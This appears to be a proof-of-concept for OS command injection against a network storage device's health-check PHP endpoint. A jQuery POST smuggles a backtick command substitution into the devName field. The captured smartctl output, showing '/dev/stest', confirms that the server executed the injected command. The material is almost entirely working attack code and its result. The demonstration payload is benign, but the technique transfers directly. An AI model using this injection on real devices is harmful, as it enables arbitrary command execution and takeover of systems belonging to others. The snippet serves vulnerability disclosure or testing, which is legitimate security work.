$.ajax({
type:"POST",
url: 'http://192.168.1.69/action/healthy_action.php',
cache: false,
data: "devName=/dev/s`echo test`",
success:function(data){
console.log(data)
}
})

Output:
XMLHttpRequest { onreadystatechange: null, readyState: 1, timeout: 0, withCredentials: false, upload: XMLHttpRequestUpload, status: 0, statusText: "", responseType: "", response: "", responseText: "" }
"smartctl version 5.36 [arm-marvell-linux-gnueabi] Copyright (C) 2002-6 Bruce Allen
Home page is http://smartmontools.sourceforge.net/

Smartctl open device: /dev/stest failed: No such file or directory
"